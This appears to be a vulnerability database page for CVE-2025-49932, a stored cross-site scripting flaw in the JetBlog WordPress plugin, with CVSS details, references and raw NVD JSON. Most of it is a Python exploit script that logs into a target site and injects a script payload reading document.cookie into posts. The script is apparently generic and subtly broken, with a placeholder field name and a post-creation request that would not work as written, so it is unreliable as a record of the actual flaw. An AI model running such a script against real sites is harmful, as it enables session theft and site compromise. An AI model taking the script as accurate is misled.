CVE-2025-49932

Description

Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in Crocoblock JetBlog jet-blog allows Stored XSS.This issue affects JetBlog: from n/a through <= 2.4.4.1.

CVSS Details

CVSS Score

6.5

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:L

Configurations (Affected Products)

No configuration data available.

JetBlog <= 2.4.4.1

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

import requests
import re

# WordPress JetBlog Stored XSS PoC - CVE-2025-49932
# Target: WordPress site with JetBlog plugin <= 2.4.4.1

target_url = "http://target-wordpress-site.com"
username = "attacker"  # Low privilege account (subscriber/contributor)
password = "password123"

session = requests.Session()

# Step 1: Login to WordPress
login_url = f"{target_url}/wp-login.php"
login_data = {
    'log': username,
    'pwd': password,
    'wp-submit': 'Log In',
    'redirect_to': '/wp-admin/',
    'testcookie': '1'
}

session.post(login_url, data=login_data)

# Step 2: Create a post with XSS payload in JetBlog fields
post_url = f"{target_url}/wp-admin/post-new.php"
xss_payload = "<script>alert(document.cookie)</script>"

post_data = {
    'post_title': f"Test Post {xss_payload}",
    'post_content': 'This is a test post with XSS payload',
    'post_status': 'publish',
    '_jet_blog_something': xss_payload  # JetBlog specific field
}

response = session.post(post_url, data=post_data)

# Step 3: Verify XSS is stored and executed
if 'Test Post' in response.text and xss_payload in response.text:
    print("[+] XSS payload successfully stored!")
    print(f"[+] Visit: {target_url}/?p=<post_id> to trigger the XSS")
else:
    print("[-] XSS injection failed")

# Note: The XSS will be triggered when any user visits the affected page

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2025-49932
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2025-49932
[3] CVE Details https://www.cvedetails.com/cve/CVE-2025-49932/
[4] VulDB https://vuldb.com/cve/CVE-2025-49932
[5] https://patchstack.com/database/Wordpress/Plugin/jet-blog/vulnerability/wordpress-jetblog-plugin-2-4-4-1-cross-site-scripting-xss-vulnerability?_s_id=cve

Raw JSON Data

JSON

{"cve": {"id": "CVE-2025-49932", "sourceIdentifier": "[email protected]", "published": "2025-10-22T15:15:39.350", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in Crocoblock JetBlog jet-blog allows Stored XSS.This issue affects JetBlog: from n/a through <= 2.4.4.1."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:L", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "LOW"}, "exploitabilityScore": 2.3, "impactScore": 3.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "references": [{"url": "https://patchstack.com/database/Wordpress/Plugin/jet-blog/vulnerability/wordpress-jetblog-plugin-2-4-4-1-cross-site-scripting-xss-vulnerability?_s_id=cve", "source": "[email protected]"}]}}